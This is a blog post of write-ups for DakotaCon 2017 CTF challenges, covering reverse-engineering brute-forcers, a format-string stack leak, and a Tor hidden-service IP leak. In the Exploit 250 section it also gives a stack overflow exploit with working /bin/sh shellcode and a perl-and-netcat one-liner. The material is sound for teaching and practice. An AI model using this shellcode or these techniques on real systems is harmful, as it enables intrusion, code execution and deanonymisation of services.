Thursday, April 27, 2017

DakotaCon 2017 CTF Write-ups

DakotaCon 7 is a wrap, and the CTF was a blast!  Many thanks to Alex for putting it all together this year.  First place went to ZonkSec, who also deserve a shout-out for their awesome write-ups here.  No sense in duplicating that excellent work, but I’d like to cover a few of the other challenges which I found particularly interesting.  Links to relevant files are included below each section.

This covers RE 200, RE 250, Exploit 100, Exploit 250, and Web 150.

RE 200

RE200 supplied a binary and an IP/port combination on which that binary was said to be running.  The challenge stated “Give it a valid key to get the flag”.

When run this program asked for a key and then read data from stdin.  The first key I tried was of course invalid.



Opening this binary in IDA revealed only two interesting functions: main() and strip_newline().  Unsurprisingly strip_newline() did exactly what it said, replaced trailing newlines with NULLs.  Without too much additional effort it was also clear that main() simply read in up to 40 characters, checked to ensure only 15 had actually be supplied, and then looped through each performing some operation on the array.  Eventually, it compared another local variable to the 32-bit constant “0x65b6b48c” and printed the flag if a match was found.  This left me with a simplified IDA graph that looked like this:



The only part that did NOT initially make sense was the body of the loop, which performed complex operations involving addition, subtraction, multiplication, and shifts it both directions.  This looked very strange, until I remembered that compilers will occasionally replace simple math operations with more complex, (but more efficient) variants using magic constants.  The two constants shown above looked suspiciously like this type of optimization, so I asked myself, “What other two operations might the challenge creator check following a check for divisibility by 2”?  The obvious answer was “divisibility by 3,4,5,6….”, so I compiled a testcase and checked for similar patterns.

#include
int main() {
  int i;
  for(i=0; i<15; i++) {
    if(i % 2 == 0) {}
    else if(i % 3 == 0) {}
    else if(i % 4 == 0) {}
    else if(i % 5 == 0) {}
    else if(i % 6 == 0) {}
    else if(i % 7 == 0) {}
    else if(i % 8 == 0) {}
    else if(i % 9 == 0) {}
    else {}
  }
}

I compiled this code (32 bit ELF with gcc) and disassembled it.  Ah ha!  The code generated for “i % 3 == 0” and “i % 5 == 0” was nearly identical to the two blocks shown above. This meant the program had to be something like:

#include 
 
int main() {
 
  char buffer[40];
  int result, i;
  FILE *fp;
 
  fgets(buffer, 40, stdin);
  strip_newline(buffer);
 
  if(strlen(buffer) == 15) {
 
    for(i=0; i<15; i++) {
 
      if(i % 2 == 0)
        result += buffer[i];
 
      if(i % 3 == 0)
        result *= buffer[i];
 
      if(i % 5 == 0)
        result ^= buffer[i];
 
    }
 
    if(result == 0x65b6b48c) {
      fp = fopen("keycheck1-flag", "r");
      fgets(buffer, 40, fp);
      strip_newline(buffer);
      fclose(fp);
      printf("Flag is %s\n", buffer);
      exit(0);
    } else {
      printf("Invalid key\n");
      exit(0);
    }
 
  } else {
 
    printf("Invalid key\n");
 
  }
 
}
With a full understanding of how the program worked I got a pen and paper and tried to find a simple solution.  However I quickly realized there wasn’t going to be one (with my limited math skill at least), so I instead wrote a small program to bruteforce an answer.  No, this is probably not the most efficient way to do it. Yes, it worked. :)

#include 
#include 
 
#define START_CHAR ' '  // try a, A, 0, etc...
#define END_CHAR '/'    // try z, Z, 9, etc...
 
int main() {
 
  char a,b,c,d,e,f,g,h,i,j,k,l,m,n,o;
  char buffer[16] = {0};
  int z, result;
 
  for(a=START_CHAR; a<=END_CHAR; a++) { buffer[0] = a;
  for(b=START_CHAR; b<=END_CHAR; b++) { buffer[1] = b;
  for(c=START_CHAR; c<=END_CHAR; c++) { buffer[2] = c;
  for(d=START_CHAR; d<=END_CHAR; d++) { buffer[3] = d;
  for(e=START_CHAR; e<=END_CHAR; e++) { buffer[4] = e;
  for(f=START_CHAR; f<=END_CHAR; f++) { buffer[5] = f;
  for(g=START_CHAR; g<=END_CHAR; g++) { buffer[6] = g;
  for(h=START_CHAR; h<=END_CHAR; h++) { buffer[7] = h;
  for(i=START_CHAR; i<=END_CHAR; i++) { buffer[8] = i;
  for(j=START_CHAR; j<=END_CHAR; j++) { buffer[9] = j;
  for(k=START_CHAR; k<=END_CHAR; k++) { buffer[10] = k;
  for(l=START_CHAR; l<=END_CHAR; l++) { buffer[11] = l;
  for(m=START_CHAR; m<=END_CHAR; m++) { buffer[12] = m;
  for(n=START_CHAR; n<=END_CHAR; n++) { buffer[13] = n;
  for(o=START_CHAR; o<=END_CHAR; o++) { buffer[14] = o;
 
    result = 0;
 
    for (z=0; z<15; z++) {
 
      if(z % 2 == 0) {
        result += (int)buffer[z];
      }
 
      if(z % 3 == 0) {
        result *= (int)buffer[z];
      }
 
      if(z % 5 == 0) {
        result ^= (int)buffer[z];
      }
 
    }
 
    if(result == 0x65b6b48c) {
      printf("\n\nWIN: %s = 0x%08x\n", buffer, result);
      exit(0);
    }
 
  }}}}
  printf("%s = 0x%08x\r", buffer, result);
  }}}}}}}}}}}
 
}

After running several instances in parallel for several hours with different inputs, it finally spat out:


When submitted to the server, I got the flag.


The binary can be downloaded here.

RE 250

This challenge was very similar to RE200, however it added one twist.  This time, only 10 bytes were required from the user (up to 40 read), but before being looped over and the result calculated, the program would connect out to 138.247.115.12:10011 and receive up to 39 bytes.  These bytes were then XORed with the user input buffer before the main loop.  Additionally, this loop only contained two conditional operations, as opposed to three above.  Again, I saw interesting integer constants resulting from compiler optimization. Additionally, the final result was compared against “0xfffffaba” which is the signed negative integer -1350. All together, I imagine the source code looks something like this:

#include 
 
int main() {
 
  char buffer1[40], buffer2[40];
  int result, i;
 
  fgets(buffer1, 40, stdin);
  strip_newline(buffer1);
  read(custom_connect_func("138.247.115.12", 10011), buffer2, 39);
 
  if(strlen(buffer1) == 10) {
 
    xor_buffers(buffer1, buffer2);  // destination=buffer1
 
    for(i=0; i<10; i++) {
 
      if(i % 3 == 0)
        result *= buffer[i];
 
      if(i % 2 == 0)
        result *= buffer[i];
 
    }
 
    if(result == 0xfffffaba) {
      fp = fopen("keycheck2-flag", "r");
      fgets(buffer1, 40, fp);
      strip_newline(buffer1);
      fclose(fp);
      printf("Flag is %s\n", buffer1);
      exit(0);
    } else {
      printf("Invalid key\n");
      exit(0);
    }
 
  } else {
    printf("Invalid key\n");
  }
 
}

When I connected to the socket referenced in the binary, it sent back the string “EiHohtei5s” (10 bytes).  This value stayed static.  I never observed a change.  Pretty straightforward.  I adapted my bruteforcer code from above to handle this challenge.

#include 
#include 
#include 
 
#define START_CHAR 'A'  // try a, A, 0, etc...
#define END_CHAR 'z'    // try z, Z, 9, etc...
 
void xor_buffers(char *dst, char *src) {
  int i;
  for(i=0; i<10; i++) {
    dst[i] ^= src[i];
  }
}
 
int main() {
 
  char buffer1[40] = {0}, buffer2[40] = {0};
  char a,b,c,d,e,f,g,h,i,j;
  int z, result;
 
  for(a=START_CHAR; a<=END_CHAR; a++) {
  for(b=START_CHAR; b<=END_CHAR; b++) {
  for(c=START_CHAR; c<=END_CHAR; c++) {
  for(d=START_CHAR; d<=END_CHAR; d++) {
  for(e=START_CHAR; e<=END_CHAR; e++) {
  for(f=START_CHAR; f<=END_CHAR; f++) {
  for(g=START_CHAR; g<=END_CHAR; g++) {
  for(h=START_CHAR; h<=END_CHAR; h++) {
  for(i=START_CHAR; i<=END_CHAR; i++) {
  for(j=START_CHAR; j<=END_CHAR; j++) {
 
    result = 0;
 
    strcpy(buffer2, "EiHohtei5s");
    buffer1[0] = a; buffer1[1] = b; buffer1[2] = c;
    buffer1[3] = d; buffer1[4] = e; buffer1[5] = f;
    buffer1[6] = g; buffer1[7] = h; buffer1[8] = i;
    buffer1[9] = j;
 
    xor_buffers(buffer2, buffer1);
 
    for(z=0; z<10; z++) {
 
      if(z % 3 == 0)
        result *= buffer2[z];
 
      if(z % 2 == 0)
        result -= buffer2[z];
 
    }
 
    if(result == 0xfffffaba) {
      printf("\n\nWIN: %s = 0x%08x\n", buffer1, result);
      exit(0);
    }
 
  }}}}
  printf("%s = 0x%08x\r", buffer1, result);
  }}}}}}
}

In a matter of seconds this spat out a correct solution (probably one of thousands, if not many more).


Submitting this to the sever captured the flag.


The binary can be downloaded here.


Exploit 100

This challenge supplied a C file and an IP/port combination where the program was said to be running.  The C file read as follows:

#include 
 
int main()
{
  char flag[40];
  char input[40];
 
  FILE* f = fopen("flag", "r");
  fgets(flag, 40, f);
 
  printf("Enter your message: ");
  fgets(input, 40, stdin);
  printf(input);
 
  return 0;
}

As far as I can tell there is only one opportunity for shenanigans here, the printf() being called with our input as the format specifier, a classic format string vulnerability.  If you’re not familiar with the concept, I would recommend some Googling. :)

Normally in order to exploit a format string vulnerability we would need to jump through some tricky hoops, calculating offsets and overwriting pointers.  However in this case, since the flag is stored directly below our on the stack, we don’t really need full code execution to win.  All we really need to do is leak data off the stack in the right place.  Printf is perfect for this!  For reference, our stack will probably look something like this (assuming 32-bit):


Unfortunately since the flag itself is on the stack as opposed to a pointer to it, we won’t be able to use the normal “%s” specifier.  Instead we’ll need to leak it using something like “%08x” (a 8-character, 32-bit hexadecimal integer), and then convert the characters back manually.  Also, we can use the “%n$…” format specifier type in order to skip to exactly the offset we want and avoid the 40-character limit problem.  A quick bit of shell scripting gives us an idea of what the stack looks like.  (FYI: this is for fish.  Bash users will need to modify it a bit).


Ah ha!  At offset 8 the data starts to look a lot like ASCII.  Let’s clean up our format string a bit to target exactly what we want.


Let’s throw that in $RandomOnlineASCIIConverter and see what it spits out.

upeR.lbat.meRe.yHxi.tard.[\0][\n]de.

Pretty close! But recall, since this is a little-endian CPU each of those “integers” was retrieved in reverse. Let’s reverse each set of four, remove the dot-separators, and get…

ReputableRemixHydrate[\n][\0]

Exploit 250

Oh good, another binary!  And like the others, this one also comes with an IP/port combination where the program is running.  Opening it in IDA shows an extremely simple program with only two functions, main(), and vuln(), depicted side-by-side here.


These roughly translate to something like:

#include 
 
void vuln() {
  char buffer[72]; // maybe less? (stack alignment)
  printf("Enter your message: ");
  gets(buffer);
  printf("%p\n", buffer);
  puts(buffer);
}
 
int main() {
  setvbuf(stdout, NULL, _IONBF, 0);
  printf("%p\n", vuln);
  vuln();
  return 0;
}

As you can see we have a good ol’ fashioned stack smash at >72 characters.  Easy. :) Add 4 bytes for the save EBP and we can overwrite EIP at 76 bytes.  Normally we would need an ASLR bypass in order to find our data reliably in memory, however running this a few times and observing the buffer pointer being printed, we can see it never really changes.


0xffffdc80.  Always.  Sweet!  Normally we’d now need to build a ROP chain to bypass NX, but this binary conveniently has that feature disabled.  Too easy!
In order to get code execution I grabbed some shellcode off of exploit-db.  We’re almost done, but there are two problems.

1. At the time the shellcode begins executing, ESP and EIP will be pointing to the same location.  Since our shellcode uses the stack to build the “/bin/sh” string in memory, it will end up overwriting the code we are currently executing and crash.  Doh!  Luckily there’s an easy fix.  We can simply append a “sub esp, 0xff” instruction to the beginning in order to shift the stack up out of the way.

2. The shellcode author forgot to set ECX to NULL, and unfortunately in this case it won’t already be.  Again, easy fix though; we can just add an “xor ecx, ecx” at the end before we perform the system call.

With these two fixes in place, our final shellcode looks like:

00000000 <.data>:
   0:   81 ec ff 00 00 00       sub    esp,0xff
   6:   6a 0b                   push   0xb
   8:   58                      pop    eax
   9:   99                      cdq    
   a:   52                      push   edx
   b:   68 2f 2f 73 68          push   0x68732f2f
  10:   68 2f 62 69 6e          push   0x6e69622f
  15:   89 e3                   mov    ebx,esp
  17:   31 c9                   xor    ecx,ecx
  19:   cd 80                   int    0x80

We’ll need to pad this out to 76 characters with NOPS (0x90), and then put the buffer pointer at the end (little endian!).  When we send it, we’ll pipe the output through cat, and add “/dev/tty” so that we can type once the shell lands.  The final exploit string is:

perl -e 'print "\x90"x(76-27) . \
"\x81\xEC\xFF\x00\x00\x00\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80" . \
"\x80\xdc\xff\xff" . "\n";' \
|cat /dev/stdin /dev/tty| nc 138.247.115.12 3269

And we have our shell!


The binary can be downloaded here.

Web 150

This challenge stated: “There is a tor hidden service running at dakotaconk4nfuxu.onion. Your task is to figure out the real IP of the service. The flag is being served on that IP.”

Browsing to this hidden service revealed it was running PHPBB, however the version was current, so no simple exploitation there.

I ran a Nikto scan which revealed the infamous “/server-status” page, however that didn’t reveal the IP address we need.  I started poking around the PHPBB board, and realized the “password reset” feature was enabled, which, if not configured to use Tor, might leak the internal IP in the email headers it sent.  Sure enough, it did!


Unfortunately this box went offline before I got around to writing this walk-through, and I didn’t save screenshots, however from here it was just a matter of running Nmap, noticing that port 1337 was open (weird!) and connecting to receive the flag.  Cool challenge!

Thanks again to Alex for putting this on, and to the Dakota Con team for facilitating the con.  Can’t wait for next year!